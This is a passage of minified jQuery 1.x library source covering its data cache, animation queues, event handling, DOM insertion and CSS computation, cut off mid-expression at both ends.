e.test}catch(t){nt.deleteExpando=!1}}e=null}(),it.acceptData=function(e){var t=it.noData[(e.nodeName+" ").toLowerCase()],n=+e.nodeType||1;return 1!==n&&9!==n?!1:!t||t!==!0&&e.getAttribute("classid")===t};var kt=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Ct=/([A-Z])/g;it.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?it.cache[e[it.expando]]:e[it.expando],!!e&&!u(e)},data:function(e,t,n){return c(e,t,n)},removeData:function(e,t){return d(e,t)},_data:function(e,t,n){return c(e,t,n,!0)},_removeData:function(e,t){return d(e,t,!0)}}),it.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=it.data(o),1===o.nodeType&&!it._data(o,"parsedAttrs"))){for(n=a.length;n--;)a[n]&&(r=a[n].name,0===r.indexOf("data-")&&(r=it.camelCase(r.slice(5)),l(o,r,i[r])));it._data(o,"parsedAttrs",!0)}return i}return"object"==typeof e?this.each(function(){it.data(this,e)}):arguments.length>1?this.each(function(){it.data(this,e,t)}):o?l(o,e,it.data(o,e)):void 0},removeData:function(e){return this.each(function(){it.removeData(this,e)})}}),it.extend({queue:function(e,t,n){var r;return e?(t=(t||"fx")+"queue",r=it._data(e,t),n&&(!r||it.isArray(n)?r=it._data(e,t,it.makeArray(n)):r.push(n)),r||[]):void 0},dequeue:function(e,t){t=t||"fx";var n=it.queue(e,t),r=n.length,i=n.shift(),o=it._queueHooks(e,t),a=function(){it.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return it._data(e,n)||it._data(e,n,{empty:it.Callbacks("once memory").add(function(){it._removeData(e,t+"queue"),it._removeData(e,n)})})}}),it.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?it.queue(this[0],e):void 0===t?this:this.each(function(){var n=it.queue(this,e,t);it._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&it.dequeue(this,e)})},dequeue:function(e){return this.each(function(){it.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=it.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};for("string"!=typeof e&&(t=e,e=void 0),e=e||"fx";a--;)n=it._data(o[a],e+"queueHooks"),n&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var Nt=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,St=["Top","Right","Bottom","Left"],jt=function(e,t){return e=t||e,"none"===it.css(e,"display")||!it.contains(e.ownerDocument,e)},At=it.access=function(e,t,n,r,i,o,a){var s=0,l=e.length,u=null==n;if("object"===it.type(n)){i=!0;for(s in n)it.access(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,it.isFunction(r)||(a=!0),u&&(a?(t.call(e,r),t=null):(u=t,t=function(e,t,n){return u.call(it(e),n)})),t))for(;l>s;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:u?t.call(e):l?t(e[0],n):o},Dt=/^(?:checkbox|radio)$/i;!function(){var e=ht.createElement("input"),t=ht.createElement("div"),n=ht.createDocumentFragment();if(t.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",nt.leadingWhitespace=3===t.firstChild.nodeType,nt.tbody=!t.getElementsByTagName("tbody").length,nt.htmlSerialize=!!t.getElementsByTagName("link").length,nt.html5Clone="<:nav></:nav>"!==ht.createElement("nav").cloneNode(!0).outerHTML,e.type="checkbox",e.checked=!0,n.appendChild(e),nt.appendChecked=e.checked,t.innerHTML="<textarea>x</textarea>",nt.noCloneChecked=!!t.cloneNode(!0).lastChild.defaultValue,n.appendChild(t),t.innerHTML="<input type='radio' checked='checked' name='t'/>",nt.checkClone=t.cloneNode(!0).cloneNode(!0).lastChild.checked,nt.noCloneEvent=!0,t.attachEvent&&(t.attachEvent("onclick",function(){nt.noCloneEvent=!1}),t.cloneNode(!0).click()),null==nt.deleteExpando){nt.deleteExpando=!0;try{delete t.test}catch(r){nt.deleteExpando=!1}}}(),function(){var t,n,r=ht.createElement("div");for(t in{submit:!0,change:!0,focusin:!0})n="on"+t,(nt[t+"Bubbles"]=n in e)||(r.setAttribute(n,"t"),nt[t+"Bubbles"]=r.attributes[n].expando===!1);r=null}();var Lt=/^(?:input|select|textarea)$/i,Ht=/^key/,_t=/^(?:mouse|pointer|contextmenu)|click/,qt=/^(?:focusinfocus|focusoutblur)$/,Ft=/^([^.]*)(?:\.(.+)|)$/;it.event={global:{},add:function(e,t,n,r,i){var o,a,s,l,u,c,d,f,p,h,m,g=it._data(e);if(g){for(n.handler&&(l=n,n=l.handler,i=l.selector),n.guid||(n.guid=it.guid++),(a=g.events)||(a=g.events={}),(c=g.handle)||(c=g.handle=function(e){return typeof it===Et||e&&it.event.triggered===e.type?void 0:it.event.dispatch.apply(c.elem,arguments)},c.elem=e),t=(t||"").match(bt)||[""],s=t.length;s--;)o=Ft.exec(t[s])||[],p=m=o[1],h=(o[2]||"").split(".").sort(),p&&(u=it.event.special[p]||{},p=(i?u.delegateType:u.bindType)||p,u=it.event.special[p]||{},d=it.extend({type:p,origType:m,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&it.expr.match.needsContext.test(i),namespace:h.join(".")},l),(f=a[p])||(f=a[p]=[],f.delegateCount=0,u.setup&&u.setup.call(e,r,h,c)!==!1||(e.addEventListener?e.addEventListener(p,c,!1):e.attachEvent&&e.attachEvent("on"+p,c))),u.add&&(u.add.call(e,d),d.handler.guid||(d.handler.guid=n.guid)),i?f.splice(f.delegateCount++,0,d):f.push(d),it.event.global[p]=!0);e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,d,f,p,h,m,g=it.hasData(e)&&it._data(e);if(g&&(c=g.events)){for(t=(t||"").match(bt)||[""],u=t.length;u--;)if(s=Ft.exec(t[u])||[],p=m=s[1],h=(s[2]||"").split(".").sort(),p){for(d=it.event.special[p]||{},p=(r?d.delegateType:d.bindType)||p,f=c[p]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),l=o=f.length;o--;)a=f[o],!i&&m!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,d.remove&&d.remove.call(e,a));l&&!f.length&&(d.teardown&&d.teardown.call(e,h,g.handle)!==!1||it.removeEvent(e,p,g.handle),delete c[p])}else for(p in c)it.event.remove(e,p+t[u],n,r,!0);it.isEmptyObject(c)&&(delete g.handle,it._removeData(e,"events"))}},trigger:function(t,n,r,i){var o,a,s,l,u,c,d,f=[r||ht],p=tt.call(t,"type")?t.type:t,h=tt.call(t,"namespace")?t.namespace.split("."):[];if(s=c=r=r||ht,3!==r.nodeType&&8!==r.nodeType&&!qt.test(p+it.event.triggered)&&(p.indexOf(".")>=0&&(h=p.split("."),p=h.shift(),h.sort()),a=p.indexOf(":")<0&&"on"+p,t=t[it.expando]?t:new it.Event(p,"object"==typeof t&&t),t.isTrigger=i?2:3,t.namespace=h.join("."),t.namespace_re=t.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=r),n=null==n?[t]:it.makeArray(n,[t]),u=it.event.special[p]||{},i||!u.trigger||u.trigger.apply(r,n)!==!1)){if(!i&&!u.noBubble&&!it.isWindow(r)){for(l=u.delegateType||p,qt.test(l+p)||(s=s.parentNode);s;s=s.parentNode)f.push(s),c=s;c===(r.ownerDocument||ht)&&f.push(c.defaultView||c.parentWindow||e)}for(d=0;(s=f[d++])&&!t.isPropagationStopped();)t.type=d>1?l:u.bindType||p,o=(it._data(s,"events")||{})[t.type]&&it._data(s,"handle"),o&&o.apply(s,n),o=a&&s[a],o&&o.apply&&it.acceptData(s)&&(t.result=o.apply(s,n),t.result===!1&&t.preventDefault());if(t.type=p,!i&&!t.isDefaultPrevented()&&(!u._default||u._default.apply(f.pop(),n)===!1)&&it.acceptData(r)&&a&&r[p]&&!it.isWindow(r)){c=r[a],c&&(r[a]=null),it.event.triggered=p;try{r[p]()}catch(m){}it.event.triggered=void 0,c&&(r[a]=c)}return t.result}},dispatch:function(e){e=it.event.fix(e);var t,n,r,i,o,a=[],s=Y.call(arguments),l=(it._data(this,"events")||{})[e.type]||[],u=it.event.special[e.type]||{};if(s[0]=e,e.delegateTarget=this,!u.preDispatch||u.preDispatch.call(this,e)!==!1){for(a=it.event.handlers.call(this,e,l),t=0;(i=a[t++])&&!e.isPropagationStopped();)for(e.currentTarget=i.elem,o=0;(r=i.handlers[o++])&&!e.isImmediatePropagationStopped();)(!e.namespace_re||e.namespace_re.test(r.namespace))&&(e.handleObj=r,e.data=r.data,n=((it.event.special[r.origType]||{}).handle||r.handler).apply(i.elem,s),void 0!==n&&(e.result=n)===!1&&(e.preventDefault(),e.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,a=[],s=t.delegateCount,l=e.target;if(s&&l.nodeType&&(!e.button||"click"!==e.type))for(;l!=this;l=l.parentNode||this)if(1===l.nodeType&&(l.disabled!==!0||"click"!==e.type)){for(i=[],o=0;s>o;o++)r=t[o],n=r.selector+" ",void 0===i[n]&&(i[n]=r.needsContext?it(n,this).index(l)>=0:it.find(n,this,null,[l]).length),i[n]&&i.push(r);i.length&&a.push({elem:l,handlers:i})}return s<t.length&&a.push({elem:this,handlers:t.slice(s)}),a},fix:function(e){if(e[it.expando])return e;var t,n,r,i=e.type,o=e,a=this.fixHooks[i];for(a||(this.fixHooks[i]=a=_t.test(i)?this.mouseHooks:Ht.test(i)?this.keyHooks:{}),r=a.props?this.props.concat(a.props):this.props,e=new it.Event(o),t=r.length;t--;)n=r[t],e[n]=o[n];return e.target||(e.target=o.srcElement||ht),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,a.filter?a.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,t){var n,r,i,o=t.button,a=t.fromElement;return null==e.pageX&&null!=t.clientX&&(r=e.target.ownerDocument||ht,i=r.documentElement,n=r.body,e.pageX=t.clientX+(i&&i.scrollLeft||n&&n.scrollLeft||0)-(i&&i.clientLeft||n&&n.clientLeft||0),e.pageY=t.clientY+(i&&i.scrollTop||n&&n.scrollTop||0)-(i&&i.clientTop||n&&n.clientTop||0)),!e.relatedTarget&&a&&(e.relatedTarget=a===e.target?t.toElement:a),e.which||void 0===o||(e.which=1&o?1:2&o?3:4&o?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==h()&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===h()&&this.blur?(this.blur(),!1):void 0},delegateType:"focusout"},click:{trigger:function(){return it.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):void 0},_default:function(e){return it.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=it.extend(new it.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?it.event.trigger(i,null,t):it.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},it.removeEvent=ht.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===Et&&(e[r]=null),e.detachEvent(r,n))},it.Event=function(e,t){return this instanceof it.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&e.returnValue===!1?f:p):this.type=e,t&&it.extend(this,t),this.timeStamp=e&&e.timeStamp||it.now(),void(this[it.expando]=!0)):new it.Event(e,t)},it.Event.prototype={isDefaultPrevented:p,isPropagationStopped:p,isImmediatePropagationStopped:p,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=f,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=f,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=f,e&&e.stopImmediatePropagation&&e.stopImmediatePropagation(),this.stopPropagation()}},it.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){it.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!it.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),nt.submitBubbles||(it.event.special.submit={setup:function(){return it.nodeName(this,"form")?!1:void it.event.add(this,"click._submit keypress._submit",function(e){var t=e.target,n=it.nodeName(t,"input")||it.nodeName(t,"button")?t.form:void 0;n&&!it._data(n,"submitBubbles")&&(it.event.add(n,"submit._submit",function(e){e._submit_bubble=!0}),it._data(n,"submitBubbles",!0))})},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&it.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return it.nodeName(this,"form")?!1:void it.event.remove(this,"._submit")}}),nt.changeBubbles||(it.event.special.change={setup:function(){return Lt.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(it.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),it.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),it.event.simulate("change",this,e,!0)})),!1):void it.event.add(this,"beforeactivate._change",function(e){var t=e.target;Lt.test(t.nodeName)&&!it._data(t,"changeBubbles")&&(it.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||it.event.simulate("change",this.parentNode,e,!0)}),it._data(t,"changeBubbles",!0))})},handle:function(e){var t=e.target;return this!==t||e.isSimulated||e.isTrigger||"radio"!==t.type&&"checkbox"!==t.type?e.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return it.event.remove(this,"._change"),!Lt.test(this.nodeName)}}),nt.focusinBubbles||it.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){it.event.simulate(t,e.target,it.event.fix(e),!0)};it.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=it._data(r,t);i||r.addEventListener(e,n,!0),it._data(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=it._data(r,t)-1;i?it._data(r,t,i):(r.removeEventListener(e,n,!0),it._removeData(r,t))}}}),it.fn.extend({on:function(e,t,n,r,i){var o,a;if("object"==typeof e){"string"!=typeof t&&(n=n||t,t=void 0);for(o in e)this.on(o,t,n,e[o],i);return this}if(null==n&&null==r?(r=t,n=t=void 0):null==r&&("string"==typeof t?(r=n,n=void 0):(r=n,n=t,t=void 0)),r===!1)r=p;else if(!r)return this;return 1===i&&(a=r,r=function(e){return it().off(e),a.apply(this,arguments)},r.guid=a.guid||(a.guid=it.guid++)),this.each(function(){it.event.add(this,e,r,n,t)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,it(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return(t===!1||"function"==typeof t)&&(n=t,t=void 0),n===!1&&(n=p),this.each(function(){it.event.remove(this,e,n,t)})},trigger:function(e,t){return this.each(function(){it.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];return n?it.event.trigger(e,t,n,!0):void 0}});var Mt="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",Ot=/ jQuery\d+="(?:null|\d+)"/g,Rt=new RegExp("<(?:"+Mt+")[\\s/>]","i"),Bt=/^\s+/,Pt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,It=/<([\w:]+)/,Wt=/<tbody/i,$t=/<|&#?\w+;/,zt=/<(?:script|style|link)/i,Xt=/checked\s*(?:[^=]|=\s*.checked.)/i,Ut=/^$|\/(?:java|ecma)script/i,Vt=/^true\/(.*)/,Gt=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,Yt={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:nt.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},Jt=m(ht),Kt=Jt.appendChild(ht.createElement("div"));Yt.optgroup=Yt.option,Yt.tbody=Yt.tfoot=Yt.colgroup=Yt.caption=Yt.thead,Yt.th=Yt.td,it.extend({clone:function(e,t,n){var r,i,o,a,s,l=it.contains(e.ownerDocument,e);if(nt.html5Clone||it.isXMLDoc(e)||!Rt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Kt.innerHTML=e.outerHTML,Kt.removeChild(o=Kt.firstChild)),!(nt.noCloneEvent&&nt.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||it.isXMLDoc(e)))for(r=g(o),s=g(e),a=0;null!=(i=s[a]);++a)r[a]&&E(i,r[a]);if(t)if(n)for(s=s||g(e),r=r||g(o),a=0;null!=(i=s[a]);a++)T(i,r[a]);else T(e,o);return r=g(o,"script"),r.length>0&&w(r,!l&&g(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){for(var i,o,a,s,l,u,c,d=e.length,f=m(t),p=[],h=0;d>h;h++)if(o=e[h],o||0===o)if("object"===it.type(o))it.merge(p,o.nodeType?[o]:o);else if($t.test(o)){for(s=s||f.appendChild(t.createElement("div")),l=(It.exec(o)||["",""])[1].toLowerCase(),c=Yt[l]||Yt._default,s.innerHTML=c[1]+o.replace(Pt,"<$1></$2>")+c[2],i=c[0];i--;)s=s.lastChild;if(!nt.leadingWhitespace&&Bt.test(o)&&p.push(t.createTextNode(Bt.exec(o)[0])),!nt.tbody)for(o="table"!==l||Wt.test(o)?"<table>"!==c[1]||Wt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;i--;)it.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u);for(it.merge(p,s.childNodes),s.textContent="";s.firstChild;)s.removeChild(s.firstChild);s=f.lastChild}else p.push(t.createTextNode(o));for(s&&f.removeChild(s),nt.appendChecked||it.grep(g(p,"input"),v),h=0;o=p[h++];)if((!r||-1===it.inArray(o,r))&&(a=it.contains(o.ownerDocument,o),s=g(f.appendChild(o),"script"),a&&w(s),n))for(i=0;o=s[i++];)Ut.test(o.type||"")&&n.push(o);return s=null,f},cleanData:function(e,t){for(var n,r,i,o,a=0,s=it.expando,l=it.cache,u=nt.deleteExpando,c=it.event.special;null!=(n=e[a]);a++)if((t||it.acceptData(n))&&(i=n[s],o=i&&l[i])){if(o.events)for(r in o.events)c[r]?it.event.remove(n,r):it.removeEvent(n,r,o.handle);l[i]&&(delete l[i],u?delete n[s]:typeof n.removeAttribute!==Et?n.removeAttribute(s):n[s]=null,G.push(i))}}}),it.fn.extend({text:function(e){return At(this,function(e){return void 0===e?it.text(this):this.empty().append((this[0]&&this[0].ownerDocument||ht).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=y(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=y(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){for(var n,r=e?it.filter(e,this):this,i=0;null!=(n=r[i]);i++)t||1!==n.nodeType||it.cleanData(g(n)),n.parentNode&&(t&&it.contains(n.ownerDocument,n)&&w(g(n,"script")),n.parentNode.removeChild(n));return this},empty:function(){for(var e,t=0;null!=(e=this[t]);t++){for(1===e.nodeType&&it.cleanData(g(e,!1));e.firstChild;)e.removeChild(e.firstChild);e.options&&it.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return it.clone(this,e,t)})},html:function(e){return At(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e)return 1===t.nodeType?t.innerHTML.replace(Ot,""):void 0;if(!("string"!=typeof e||zt.test(e)||!nt.htmlSerialize&&Rt.test(e)||!nt.leadingWhitespace&&Bt.test(e)||Yt[(It.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(Pt,"<$1></$2>");try{for(;r>n;n++)t=this[n]||{},1===t.nodeType&&(it.cleanData(g(t,!1)),t.innerHTML=e);t=0}catch(i){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=arguments[0];return this.domManip(arguments,function(t){e=this.parentNode,it.cleanData(g(this)),e&&e.replaceChild(t,this)}),e&&(e.length||e.nodeType)?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t){e=J.apply([],e);var n,r,i,o,a,s,l=0,u=this.length,c=this,d=u-1,f=e[0],p=it.isFunction(f);if(p||u>1&&"string"==typeof f&&!nt.checkClone&&Xt.test(f))return this.each(function(n){var r=c.eq(n);p&&(e[0]=f.call(this,n,r.html())),r.domManip(e,t)});if(u&&(s=it.buildFragment(e,this[0].ownerDocument,!1,this),n=s.firstChild,1===s.childNodes.length&&(s=n),n)){for(o=it.map(g(s,"script"),b),i=o.length;u>l;l++)r=s,l!==d&&(r=it.clone(r,!0,!0),i&&it.merge(o,g(r,"script"))),t.call(this[l],r,l);if(i)for(a=o[o.length-1].ownerDocument,it.map(o,x),l=0;i>l;l++)r=o[l],Ut.test(r.type||"")&&!it._data(r,"globalEval")&&it.contains(a,r)&&(r.src?it._evalUrl&&it._evalUrl(r.src):it.globalEval((r.text||r.textContent||r.innerHTML||"").replace(Gt,"")));s=n=null}return this}}),it.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){it.fn[e]=function(e){for(var n,r=0,i=[],o=it(e),a=o.length-1;a>=r;r++)n=r===a?this:this.clone(!0),it(o[r])[t](n),K.apply(i,n.get());return this.pushStack(i)}});var Qt,Zt={};!function(){var e;nt.shrinkWrapBlocks=function(){if(null!=e)return e;e=!1;var t,n,r;return n=ht.getElementsByTagName("body")[0],n&&n.style?(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),typeof t.style.zoom!==Et&&(t.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",t.appendChild(ht.createElement("div")).style.width="5px",e=3!==t.offsetWidth),n.removeChild(r),e):void 0}}();var en,tn,nn=/^margin/,rn=new RegExp("^("+Nt+")(?!px)[a-z%]+$","i"),on=/^(top|right|bottom|left)$/;e.getComputedStyle?(en=function(e){return e.ownerDocument.defaultView.getComputedStyle(e,null)},tn=function(e,t,n){var r,i,o,a,s=e.style;return n=n||en(e),a=n?n.getPropertyValue(t)||n[t]:void 0,n&&(""!==a||it.contains(e.ownerDocument,e)||(a=it.style(e,t)),rn.test(a)&&nn.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0===a?a:a+""}):ht.documentElement.currentStyle&&(en=function(e){return e.currentStyle},tn=function(e,t,n){var r,i,o,a,s=e.style;return n=n||en(e),a=n?n[t]:void 0,null==a&&s&&s[t]&&(a=s[t]),rn.test(a)&&!on.test(t)&&(r=s.left,i=e.runtimeStyle,o=i&&i.left,o&&(i.left=e.currentStyle.left),s.left="fontSize"===t?"1em":a,a=s.pixelLeft+"px",s.left=r,o&&(i.left=o)),void 0===a?a:a+""||"auto"}),function(){function t(){var t,n,r,i;n=ht.getElementsByTagName("body")[0],n&&n.style&&(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),t.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute",o=a=!1,l=!0,e.getComputedStyle&&(o="1%"!==(e.getComputedStyle(t,null)||{}).top,a="4px"===(e.getComputedStyle(t,null)||{width:"4px"}).width,i=t.appendChild(ht.createElement("div")),i.style.cssText=t.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",i.style.marginRight=i.style.width="0",t.style.width="1px",l=!parseFloat((e.getComputedStyle(i,null)||{}).marginRight)),t.innerHTML="<table><tr><td></td><td>t</td></tr></table>",i=t.getElementsByTagName("td"),i[0].style.cssText="margin:0;border:0;padding:0;display:none",s=0===i[0].offsetHeight,s&&(i[0].style.display="",i[1].style.display="none",s=0===i[0].offsetHeight),n.removeChild(r))}var n,r,i,o,a,s,l;n=ht.createElement("div"),n.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",i=n.getElementsByTagName("a")[0],r=i&&i.style,r&&(r.cssText="float:left;opacity:.5",nt.opacity="0.5"===r.opacity,nt.cssFloat=!!r.cssFloat,n.style.backgroundClip="content-box",n.cloneNode(!0).style.backgroundClip="",nt.clearCloneStyle="content-box"===n.style.backgroundClip,nt.boxSizing=""===r.boxSizing||""===r.MozBoxSizing||""===r.WebkitBoxSizing,it.extend(nt,{reliableHiddenOffsets:function(){return null==s&&t(),s
+},boxSizingReliable:function(){return null==a&&t(),a},pixelPosition:function(){return null==o&&t(),o},reliableMarginRight:function(){return null==l&&t(),l}}))}(),it.swap=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};var an=/alpha\([^)]*\)/i,sn=/opacity\s*=\s*([^)]*)/,ln=/^(none|table(?!-c[ea]).+)/,un=new RegExp("^("+Nt+")(.*)$","i"),cn=new RegExp("^([+-])=("+Nt+")","i"),dn={position:"absolute",visibility:"hidden",display:"block"},fn={letterSpacing:"0",fontWeight:"400"},pn=["Webkit","O","Moz","ms"];it.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=tn(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":nt.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=it.camelCase(t),l=e.style;if(t=it.cssProps[s]||(it.cssProps[s]=S(l,s)),a=it.cssHooks[t]||it.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];if(o=typeof n,"string"===o&&(i=cn.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(it.css(e,t)),o="number"),null!=n&&n===n&&("number"!==o||it.cssNumber[s]||(n+="px"),nt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{l[t]=n}catch(u){}}},css:function(e,t,n,r){var i,o,a,s=it.camelCase(t);return t=it.cssProps[s]||(it.cssProps[s]=S(e.style,s)),a=it.cssHooks[t]||it.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=tn(e,t,r)),"normal"===o&&t in fn&&(o=fn[t]),""===n||n?(i=parseFloat(o),n===!0||it.isNumeric(i)?i||0:o):o}}),it.each(["height","width"],function(e,t){it.cssHooks[t]={get:function(e,n,r){return n?ln.test(it.css(e,"display"))&&0===e.offsetWidth?it.swap(e,dn,function(){return L(e,t,r)}):L(e,t,r):void 0},set:function(e,n,r){var i=r&&en(e);return A(e,n,r?D(e,t,r,nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,i),i):0)}}}),nt.opacity||(it.cssHooks.opacity={get:function(e,t){return sn.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var 